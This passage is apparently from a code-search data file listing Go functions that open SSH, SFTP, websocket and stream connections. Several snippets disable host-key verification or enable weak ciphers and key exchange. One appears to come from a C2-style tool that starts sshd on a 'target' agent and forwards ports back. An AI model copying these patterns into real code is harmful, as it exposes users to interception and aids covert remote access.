fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// create session\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn session, nil\\n}\",\n \"func connect() cli.Command { // nolint: gocyclo\\n\\tcommand := cli.Command{\\n\\t\\tName: \\\"connect\\\",\\n\\t\\tAliases: []string{\\\"conn\\\"},\\n\\t\\tUsage: \\\"Get a shell from a vm\\\",\\n\\t\\tFlags: []cli.Flag{\\n\\t\\t\\tcli.StringFlag{\\n\\t\\t\\t\\tName: \\\"user\\\",\\n\\t\\t\\t\\tValue: \\\"\\\",\\n\\t\\t\\t\\tUsage: \\\"ssh login user\\\",\\n\\t\\t\\t},\\n\\t\\t\\tcli.StringFlag{\\n\\t\\t\\t\\tName: \\\"key\\\",\\n\\t\\t\\t\\tValue: \\\"\\\",\\n\\t\\t\\t\\tUsage: \\\"private key path (default: ~/.ssh/id_rsa)\\\",\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tAction: func(c *cli.Context) error {\\n\\t\\t\\tvar name, loginUser, key string\\n\\t\\t\\tvar vmID int\\n\\t\\t\\tnameFound := false\\n\\t\\t\\tnargs := c.NArg()\\n\\t\\t\\tswitch {\\n\\t\\t\\tcase nargs == 1:\\n\\t\\t\\t\\t// Parse flags\\n\\t\\t\\t\\tif c.String(\\\"user\\\") != \\\"\\\" {\\n\\t\\t\\t\\t\\tloginUser = c.String(\\\"user\\\")\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tusr, _ := user.Current()\\n\\t\\t\\t\\t\\tloginUser = usr.Name\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif c.String(\\\"key\\\") != \\\"\\\" {\\n\\t\\t\\t\\t\\tkey, _ = filepath.Abs(c.String(\\\"key\\\"))\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tusr, err := user.Current()\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tlog.Fatal(err)\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tkey = usr.HomeDir + \\\"/.ssh/id_rsa\\\"\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tname = c.Args().First()\\n\\t\\t\\t\\tcli, err := client.NewEnvClient()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tlistArgs := filters.NewArgs()\\n\\t\\t\\t\\tlistArgs.Add(\\\"ancestor\\\", VMLauncherContainerImage)\\n\\t\\t\\t\\tcontainers, err := cli.ContainerList(context.Background(),\\n\\t\\t\\t\\t\\ttypes.ContainerListOptions{\\n\\t\\t\\t\\t\\t\\tQuiet: false,\\n\\t\\t\\t\\t\\t\\tSize: false,\\n\\t\\t\\t\\t\\t\\tAll: true,\\n\\t\\t\\t\\t\\t\\tLatest: false,\\n\\t\\t\\t\\t\\t\\tSince: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tBefore: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tLimit: 0,\\n\\t\\t\\t\\t\\t\\tFilters: listArgs,\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tfor id, container := range containers {\\n\\t\\t\\t\\t\\tif container.Names[0][1:] == name {\\n\\t\\t\\t\\t\\t\\tnameFound = true\\n\\t\\t\\t\\t\\t\\tvmID = id\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif !nameFound {\\n\\t\\t\\t\\t\\tfmt.Printf(\\\"Unable to find a running vm with name: %s\\\", name)\\n\\t\\t\\t\\t\\tos.Exit(1)\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tvmIP := containers[vmID].NetworkSettings.Networks[\\\"bridge\\\"].IPAddress\\n\\t\\t\\t\\t\\tgetNewSSHConn(loginUser, vmIP, key)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\tcase nargs == 0:\\n\\t\\t\\t\\tfmt.Println(\\\"No name provided as argument.\\\")\\n\\t\\t\\t\\tos.Exit(1)\\n\\n\\t\\t\\tcase nargs > 1:\\n\\t\\t\\t\\tfmt.Println(\\\"Only one argument is allowed\\\")\\n\\t\\t\\t\\tos.Exit(1)\\n\\t\\t\\t}\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\treturn command\\n}\",\n \"func sshConnect(ctx context.Context, conn net.Conn, ssh ssh.ClientConfig, dialTimeout time.Duration, addr string) (net.Conn, error) {\\n\\tssh.Timeout = dialTimeout\\n\\tsconn, err := tracessh.NewClientConnWithDeadline(ctx, conn, addr, &ssh)\\n\\tif err != nil {\\n\\t\\treturn nil, trace.NewAggregate(err, conn.Close())\\n\\t}\\n\\n\\t// Build a net.Conn over the tunnel. Make this an exclusive connection:\\n\\t// close the net.Conn as well as the channel upon close.\\n\\tconn, _, err = sshutils.ConnectProxyTransport(sconn.Conn, &sshutils.DialReq{\\n\\t\\tAddress: constants.RemoteAuthServer,\\n\\t}, true)\\n\\tif err != nil {\\n\\t\\treturn nil, trace.NewAggregate(err, sconn.Close())\\n\\t}\\n\\treturn conn, nil\\n}\",\n \"func (s *Session) doCommandStream(\\n\\tctx context.Context,\\n\\tname Name,\\n\\tf func(ctx context.Context, conn *grpc.ClientConn, header *headers.RequestHeader) (interface{}, error),\\n\\tresponseFunc func(interface{}) (*headers.ResponseHeader, interface{}, error)) (<-chan interface{}, error) {\\n\\tconn, err := s.conns.Connect()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tstream, requestHeader := s.nextStreamHeader(getPrimitiveID(name))\\n\\tresponses, err := f(ctx, conn, requestHeader)\\n\\tif err != nil {\\n\\t\\tstream.Close()\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Create a goroutine to close the stream when the context is canceled.\\n\\t// This will ensure that the server is notified the stream has been closed on the next keep-alive.\\n\\tgo func() {\\n\\t\\t<-ctx.Done()\\n\\t\\tstream.Close()\\n\\t}()\\n\\n\\thandshakeCh := make(chan struct{})\\n\\tresponseCh := make(chan interface{})\\n\\tgo s.commandStream(ctx, f, responseFunc, responses, stream, requestHeader, handshakeCh, responseCh)\\n\\n\\tselect {\\n\\tcase <-handshakeCh:\\n\\t\\treturn responseCh, nil\\n\\tcase <-time.After(15 * time.Second):\\n\\t\\treturn nil, errors.NewTimeout(\\\"handshake timed out\\\")\\n\\t}\\n}\",\n \"func (st *state) connectStream(path string, attrs url.Values, extraHeaders http.Header) (base.Stream, error) {\\n\\ttarget := url.URL{\\n\\t\\tScheme: \\\"wss\\\",\\n\\t\\tHost: st.addr,\\n\\t\\tPath: path,\\n\\t\\tRawQuery: attrs.Encode(),\\n\\t}\\n\\t// TODO(macgreagoir) IPv6. Ubuntu still always provides IPv4 loopback,\\n\\t// and when/if this changes localhost should resolve to IPv6 loopback\\n\\t// in any case (lp:1644009). Review.\\n\\tcfg, err := websocket.NewConfig(target.String(), \\\"http://localhost/\\\")\\n\\t// Add any cookies because they will not be sent to websocket\\n\\t// connections by default.\\n\\tfor header, values := range extraHeaders {\\n\\t\\tfor _, value := range values {\\n\\t\\t\\tcfg.Header.Add(header, value)\\n\\t\\t}\\n\\t}\\n\\n\\tconnection, err := websocketDialConfig(cfg)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif err := readInitialStreamError(connection); err != nil {\\n\\t\\treturn nil, errors.Trace(err)\\n\\t}\\n\\treturn connection, nil\\n}\",\n \"func (e *streamExecutor) Stream(stdin io.Reader, stdout, stderr io.Writer, tty bool) error {\\n\\tsupportedProtocols := []string{StreamProtocolV2Name, StreamProtocolV1Name}\\n\\tconn, protocol, err := e.Dial(supportedProtocols...)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer conn.Close()\\n\\n\\tvar streamer streamProtocolHandler\\n\\n\\tswitch protocol {\\n\\tcase StreamProtocolV2Name:\\n\\t\\tstreamer = &streamProtocolV2{\\n\\t\\t\\tstdin: stdin,\\n\\t\\t\\tstdout: stdout,\\n\\t\\t\\tstderr: stderr,\\n\\t\\t\\ttty: tty,\\n\\t\\t}\\n\\tcase \\\"\\\":\\n\\t\\tglog.V(4).Infof(\\\"The server did not negotiate a streaming protocol version. Falling back to %s\\\", StreamProtocolV1Name)\\n\\t\\tfallthrough\\n\\tcase StreamProtocolV1Name:\\n\\t\\tstreamer = &streamProtocolV1{\\n\\t\\t\\tstdin: stdin,\\n\\t\\t\\tstdout: stdout,\\n\\t\\t\\tstderr: stderr,\\n\\t\\t\\ttty: tty,\\n\\t\\t}\\n\\t}\\n\\n\\treturn streamer.stream(conn)\\n}\",\n \"func SSHConnect() {\\n\\tcommand := \\\"uptime\\\"\\n\\tvar usInfo userInfo\\n\\tvar kP keyPath\\n\\tkey, err := ioutil.ReadFile(kP.privetKey)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tsigner, err := ssh.ParsePrivateKey(key)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: usInfo.user,\\n\\t\\tAuth: []ssh.AuthMethod{\\n\\t\\t\\tssh.PublicKeys(signer),\\n\\t\\t},\\n\\t\\tHostKeyCallback: hostKeyCallBack,\\n\\t}\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", usInfo.servIP+\\\":\\\"+usInfo.port, config)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer client.Close()\\n\\tss, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer ss.Close()\\n\\tvar stdoutBuf bytes.Buffer\\n\\tss.Stdout = &stdoutBuf\\n\\tss.Run(command)\\n\\tfmt.Println(stdoutBuf.String())\\n}\",\n \"func Test_SSH(t *testing.T) {\\n\\tvar cipherList []string\\n\\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tcmdlist := strings.Split(cmd, \\\";\\\")\\n\\tstdinBuf, err := session.StdinPipe()\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar outbt, errbt bytes.Buffer\\n\\tsession.Stdout = &outbt\\n\\n\\tsession.Stderr = &errbt\\n\\terr = session.Shell()\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\tfor _, c := range cmdlist {\\n\\t\\tc = c + \\\"\\\\n\\\"\\n\\t\\tstdinBuf.Write([]byte(c))\\n\\n\\t}\\n\\tsession.Wait()\\n\\tt.Log((outbt.String() + errbt.String()))\\n\\treturn\\n}\",\n \"func (this Scanner) connect(user, host string, conf ssh.ClientConfig) (*ssh.Client, *ssh.Session, error) {\\n\\t// Develop the network connection out\\n\\tconn, err := ssh.Dial(\\\"tcp\\\", host, &conf)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\t// Actually perform our connection\\n\\tsession, err := conn.NewSession()\\n\\tif err != nil {\\n\\t\\tconn.Close()\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\treturn conn, session, nil\\n}\",\n \"func sftpconnect(n *Node) (*sftp.Client, error) {\\n\\tuser := n.UserName\\n\\thost := n.Addr\\n\\tport := 22\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tsshClient *ssh.Client\\n\\t\\tsftpClient *sftp.Client\\n\\t\\terr error\\n\\t)\\n\\t// Get auth method\\n\\tif n.AuthMethod == \\\"privateKey\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\\n\\t} else if n.AuthMethod == \\\"password\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, ssh.Password(n.Password))\\n\\t}\\n\\n\\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t\\tHostKeyCallback: hostKeyCallbk,\\n\\t}\\n\\n\\t// Connet to ssh\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\n\\tif sshClient, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Create sftp client\\n\\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn sftpClient, nil\\n}\",\n \"func cmdStream(cmd *exec.Cmd, input io.Reader) (io.ReadCloser, error) {\\n\\tcmd.Stdin = input\\n\\tpipeR, pipeW := io.Pipe()\\n\\tcmd.Stdout = pipeW\\n\\tvar errBuf bytes.Buffer\\n\\tcmd.Stderr = &errBuf\\n\\n\\t// Run the command and return the pipe\\n\\tif err := cmd.Start(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Copy stdout to the returned pipe\\n\\tgo func() {\\n\\t\\tif err := cmd.Wait(); err != nil {\\n\\t\\t\\tpipeW.CloseWithError(fmt.Errorf(\\\"%s: %s\\\", err, errBuf.String()))\\n\\t\\t} else {\\n\\t\\t\\tpipeW.Close()\\n\\t\\t}\\n\\t}()\\n\\n\\treturn pipeR, nil\\n}\",\n \"func SSHConnect(resource *OpenAmResource, port string) (*ssh.Client, *ssh.Session, error) {\\n\\n\\tsshConfig := &ssh.ClientConfig{\\n\\t\\tUser: resource.Username,\\n\\t\\tAuth: []ssh.AuthMethod{ssh.Password(resource.Password)},\\n\\t}\\n\\n\\tserverString := resource.Hostname + \\\":\\\" + port\\n\\n\\tsshConfig.HostKeyCallback = ssh.InsecureIgnoreHostKey()\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", serverString, sshConfig)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tclient.Close()\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\treturn client, session, nil\\n}\",\n \"func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\\n\\tfmt.Println(cmd)\\n\\tsession, err := sc.client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer session.Close()\\n\\tout, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tbuf := &bytes.Buffer{}\\n\\twriter := io.MultiWriter(os.Stdout, buf)\\n\\tgo io.Copy(writer, out)\\n\\touterr, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tgo io.Copy(os.Stderr, outerr)\\n\\terr = session.Run(cmd)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf, nil\\n}\",\n \"func (sshClient *SSHClient) connect() (*ssh.Session, error) {\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\n\\t// get auth method\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\tauth = append(auth, ssh.Password(sshClient.Password))\\n\\n\\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: sshClient.Username,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t\\tHostKeyCallback: hostKeyCallbk,\\n\\t}\\n\\n\\tclientConfig.Ciphers = append(clientConfig.Ciphers, \\\"aes128-cbc\\\", \\\"aes128-ctr\\\")\\n\\n\\tif sshClient.KexAlgorithms != \\\"\\\" {\\n\\t\\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, sshClient.KexAlgorithms)\\n\\t} else {\\n\\t\\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, \\\"diffie-hellman-group1-sha1\\\")\\n\\t}\\n\\n\\t/*if sshClient.Cipher != \\\"\\\" {\\n\\t\\tclientConfig.Cipher = append(clientConfig.Cipher, sshClient.Cipher)\\n\\t} else {\\n\\t\\tclientConfig.Cipher = append(clientConfig.Cipher, \\\"diffie-hellman-group1-sha1\\\")\\n\\t}*/\\n\\n\\t// connet to ssh\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", sshClient.Host, sshClient.Port)\\n\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// create session\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn session, nil\\n}\",\n \"func SSHClient(shell, port string) (err error) {\\n\\tif !util.IsCommandExist(\\\"ssh\\\") {\\n\\t\\terr = fmt.Errorf(\\\"ssh must be installed\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// is port mapping already done?\\n\\tlport := strconv.Itoa(util.RandInt(2048, 65535))\\n\\tto := \\\"127.0.0.1:\\\" + port\\n\\texists := false\\n\\tfor _, p := range PortFwds {\\n\\t\\tif p.Agent == CurrentTarget && p.To == to {\\n\\t\\t\\texists = true\\n\\t\\t\\tlport = p.Lport // use the correct port\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\tif !exists {\\n\\t\\t// start sshd server on target\\n\\t\\tcmd := fmt.Sprintf(\\\"!sshd %s %s %s\\\", shell, port, uuid.NewString())\\n\\t\\tif shell != \\\"bash\\\" {\\n\\t\\t\\terr = SendCmdToCurrentTarget(cmd)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tCliPrintInfo(\\\"Starting sshd (%s) on target %s\\\", shell, strconv.Quote(CurrentTarget.Tag))\\n\\n\\t\\t\\t// wait until sshd is up\\n\\t\\t\\tdefer func() {\\n\\t\\t\\t\\tCmdResultsMutex.Lock()\\n\\t\\t\\t\\tdelete(CmdResults, cmd)\\n\\t\\t\\t\\tCmdResultsMutex.Unlock()\\n\\t\\t\\t}()\\n\\t\\t\\tfor {\\n\\t\\t\\t\\ttime.Sleep(100 * time.Millisecond)\\n\\t\\t\\t\\tres, exists := CmdResults[cmd]\\n\\t\\t\\t\\tif exists {\\n\\t\\t\\t\\t\\tif strings.Contains(res, \\\"success\\\") {\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\terr = fmt.Errorf(\\\"Start sshd failed: %s\\\", res)\\n\\t\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// set up port mapping for the ssh session\\n\\t\\tCliPrintInfo(\\\"Setting up port mapping for sshd\\\")\\n\\t\\tpf := &PortFwdSession{}\\n\\t\\tpf.Ctx, pf.Cancel = context.WithCancel(context.Background())\\n\\t\\tpf.Lport, pf.To = lport, to\\n\\t\\tgo func() {\\n\\t\\t\\terr = pf.RunPortFwd()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terr = fmt.Errorf(\\\"PortFwd failed: %v\\\", err)\\n\\t\\t\\t\\tCliPrintError(\\\"Start port mapping for sshd: %v\\\", err)\\n\\t\\t\\t}\\n\\t\\t}()\\n\\t\\tCliPrintInfo(\\\"Waiting for response from %s\\\", CurrentTarget.Tag)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\t// wait until the port mapping is ready\\n\\texists = false\\nwait:\\n\\tfor i := 0; i < 100; i++ {\\n\\t\\tif exists {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\ttime.Sleep(100 * time.Millisecond)\\n\\t\\tfor _, p := range PortFwds {\\n\\t\\t\\tif p.Agent == CurrentTarget && p.To == to {\\n\\t\\t\\t\\texists = true\\n\\t\\t\\t\\tbreak wait\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tif !exists {\\n\\t\\terr = errors.New(\\\"Port mapping unsuccessful\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// let's do the ssh\\n\\tsshPath, err := exec.LookPath(\\\"ssh\\\")\\n\\tif err != nil {\\n\\t\\tCliPrintError(\\\"ssh not found, please install it first: %v\\\", err)\\n\\t}\\n\\tsshCmd := fmt.Sprintf(\\\"%s -p %s -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no 127.0.0.1\\\",\\n\\t\\tsshPath, lport)\\n\\tCliPrintSuccess(\\\"Opening SSH session for %s in new window. \\\"+\\n\\t\\t\\\"If that fails, please execute command %s manaully\\\",\\n\\t\\tCurrentTarget.Tag, strconv.Quote(sshCmd))\\n\\n\\t// agent name\\n\\tname := CurrentTarget.Hostname\\n\\tlabel := Targets[CurrentTarget].Label\\n\\tif label != \\\"nolabel\\\" && label != \\\"-\\\" {\\n\\t\\tname = label\\n\\t}\\n\\treturn TmuxNewWindow(fmt.Sprintf(\\\"%s-%s\\\", name, shell), sshCmd)\\n}\",\n \"func sshAgent() (io.ReadWriteCloser, error) {\\r\\n cmd := exec.Command(\\\"wsl\\\", \\\"bash\\\", \\\"-c\\\", \\\"PS1=x source ~/.bashrc; socat - UNIX:\\\\\\\\$SSH_AUTH_SOCK\\\")\\r\\n stdin, err := cmd.StdinPipe()\\r\\n if err != nil {\\r\\n return nil, err\\r\\n }\\r\\n stdout, err := cmd.StdoutPipe()\\r\\n if err != nil {\\r\\n return nil, err\\r\\n }\\r\\n if err := cmd.Start(); err != nil {\\r\\n return nil, err\\r\\n }\\r\\n return &sshAgentCmd{stdout, stdin, cmd}, nil\\r\\n}\",\n \"func (ch *ServerChannel) Connect(c *Client) {}\",\n \"func (server *Server) sendCommand(clientID string, cmd *pb.ExecutionCommand) {\\n\\tstream := server.clientStreams[clientID]\\n\\tlog.Printf(\\\"sending stream to client %s\\\", clientID)\\n\\tstream.Send(cmd)\\n}\",\n \"func (s *Transport) connect(user string, config *ssh.ClientConfig) (*ssh.Client, error) {\\n const sshTimeout = 30 * time.Second\\n\\n if v, ok := s.client(user); ok {\\n return v, nil\\n }\\n\\n client, err := ssh.Dial(\\\"tcp\\\", fmt.Sprintf(\\\"%s:%d\\\", s.addr, s.port), config)\\n if err != nil {\\n return nil, err\\n }\\n s.mu.Lock()\\n defer s.mu.Unlock()\\n s.clients[user] = client\\n return client, nil\\n}\",\n \"func (client *SdnClient) SSHPortForwarding(localPort, targetPort uint16,\\n\\ttargetIP string) (close func(), err error) {\\n\\tfwdArgs := fmt.Sprintf(\\\"%d:%s:%d\\\", localPort, targetIP, targetPort)\\n\\targs := client.sshArgs(\\\"-v\\\", \\\"-T\\\", \\\"-L\\\", fwdArgs, \\\"tail\\\", \\\"-f\\\", \\\"/dev/null\\\")\\n\\tcmd := exec.Command(\\\"ssh\\\", args...)\\n\\tstdout, err := cmd.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcmd.Stderr = cmd.Stdout\\n\\terr = cmd.Start()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\ttunnelReadyCh := make(chan bool, 1)\\n\\tgo func(tunnelReadyCh chan<- bool) {\\n\\t\\tvar listenerReady, fwdReady, sshReady bool\\n\\t\\tfwdMsg := fmt.Sprintf(\\\"Local connections to LOCALHOST:%d \\\" +\\n\\t\\t\\t\\\"forwarded to remote address %s:%d\\\", localPort, targetIP, targetPort)\\n\\t\\tlistenMsg := fmt.Sprintf(\\\"Local forwarding listening on 127.0.0.1 port %d\\\",\\n\\t\\t\\tlocalPort)\\n\\t\\tsshReadyMsg := \\\"Entering interactive session\\\"\\n\\t\\tscanner := bufio.NewScanner(stdout)\\n\\t\\tfor scanner.Scan() {\\n\\t\\t\\tline := scanner.Text()\\n\\t\\t\\tif strings.Contains(line, fwdMsg) {\\n\\t\\t\\t\\tfwdReady = true\\n\\t\\t\\t}\\n\\t\\t\\tif strings.Contains(line, listenMsg) {\\n\\t\\t\\t\\tlistenerReady = true\\n\\t\\t\\t}\\n\\t\\t\\tif strings.Contains(line, sshReadyMsg) {\\n\\t\\t\\t\\tsshReady = true\\n\\t\\t\\t}\\n\\t\\t\\tif listenerReady && fwdReady && sshReady {\\n\\t\\t\\t\\ttunnelReadyCh <- true\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}(tunnelReadyCh)\\n\\tclose = func() {\\n\\t\\terr = cmd.Process.Kill()\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Errorf(\\\"failed to kill %s: %v\\\", cmd, err)\\n\\t\\t} else {\\n\\t\\t\\t_ = cmd.Wait()\\n\\t\\t}\\n\\t}\\n\\t// Give tunnel some time to open.\\n\\tselect {\\n\\tcase <-tunnelReadyCh:\\n\\t\\t// Just an extra cushion for the tunnel to establish.\\n\\t\\ttime.Sleep(500 * time.Millisecond)\\n\\t\\treturn close, nil\\n\\tcase <-time.After(30 * time.Second):\\n\\t\\tclose()\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to create SSH tunnel %s in time\\\", fwdArgs)\\n\\t}\\n}\",\n \"func (c *Client) ExecStream(options *kubectl.ExecStreamOptions) error {\\n\\treturn nil\\n}\",\n \"func (rhost *rhostData) cmdConnect(rec *receiveData) {\\n\\n\\t// Parse cmd connect data\\n\\tpeer, addr, port, err := rhost.cmdConnectData(rec)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Does not process this command if peer already connected\\n\\tif _, ok := rhost.teo.arp.find(peer); ok {\\n\\t\\tteolog.DebugVv(MODULE, \\\"peer\\\", peer, \\\"already connected, suggests address\\\",\\n\\t\\t\\taddr, \\\"port\\\", port)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Does not create connection if connection with this address an port\\n\\t// already exists\\n\\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\\n\\t\\tteolog.DebugVv(MODULE, \\\"connection\\\", addr, int(port), 0, \\\"already exsists\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tgo func() {\\n\\t\\trhost.teo.wg.Add(1)\\n\\t\\tdefer rhost.teo.wg.Done()\\n\\t\\t// Create new connection\\n\\t\\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\\n\\n\\t\\t// Replay to address received in command data\\n\\t\\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\\n\\n\\t\\t// Disconnect this connection if it does not added to peers arp table during timeout\\n\\t\\t//go func(tcd *trudp.ChannelData) {\\n\\t\\ttime.Sleep(1500 * time.Millisecond)\\n\\t\\tif !rhost.running {\\n\\t\\t\\tteolog.DebugVv(MODULE, \\\"channel discovery task finished...\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tif _, ok := rhost.teo.arp.find(tcd); !ok {\\n\\t\\t\\tteolog.DebugVv(MODULE, \\\"connection\\\", addr, int(port), 0,\\n\\t\\t\\t\\t\\\"with peer does not established during timeout\\\")\\n\\t\\t\\ttcd.Close()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}()\\n}\",\n \"func (c *Client) ExecStreamWithTransport(options *kubectl.ExecStreamWithTransportOptions) error {\\n\\treturn nil\\n}\",\n \"func (ch *InternalChannel) Connect(c *Client) {}\",\n \"func (client *Client) Connect() error {\\n\\tkeys := ssh.Auth{\\n\\t\\tKeys: []string{client.PrivateKeyFile},\\n\\t}\\n\\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \\\"SSH-2.0-MyCustomClient-1.0\\\", client.Port, &keys, nil)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to request shell - %s\\\", err)\\n\\t}\\n\\terr = sshterm.Shell()\\n\\tif err != nil && err.Error() != \\\"exit status 255\\\" {\\n\\t\\treturn fmt.Errorf(\\\"Failed to request shell - %s\\\", err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func NewSSHCommand(p *config.KfParams) *cobra.Command {\\n\\tvar (\\n\\t\\tdisableTTY bool\\n\\t\\tcommand []string\\n\\t\\tcontainer string\\n\\t)\\n\\n\\tcmd := &cobra.Command{\\n\\t\\tUse: \\\"ssh APP_NAME\\\",\\n\\t\\tShort: \\\"Open a shell on an App instance.\\\",\\n\\t\\tExample: `\\n\\t\\t# Open a shell to a specific App\\n\\t\\tkf ssh myapp\\n\\n\\t\\t# Open a shell to a specific Pod\\n\\t\\tkf ssh pod/myapp-revhex-podhex\\n\\n\\t\\t# Start a different command with args\\n\\t\\tkf ssh myapp -c /my/command -c arg1 -c arg2\\n\\t\\t`,\\n\\t\\tArgs: cobra.ExactArgs(1),\\n\\t\\tLong: `\\n\\t\\tOpens a shell on an App instance using the 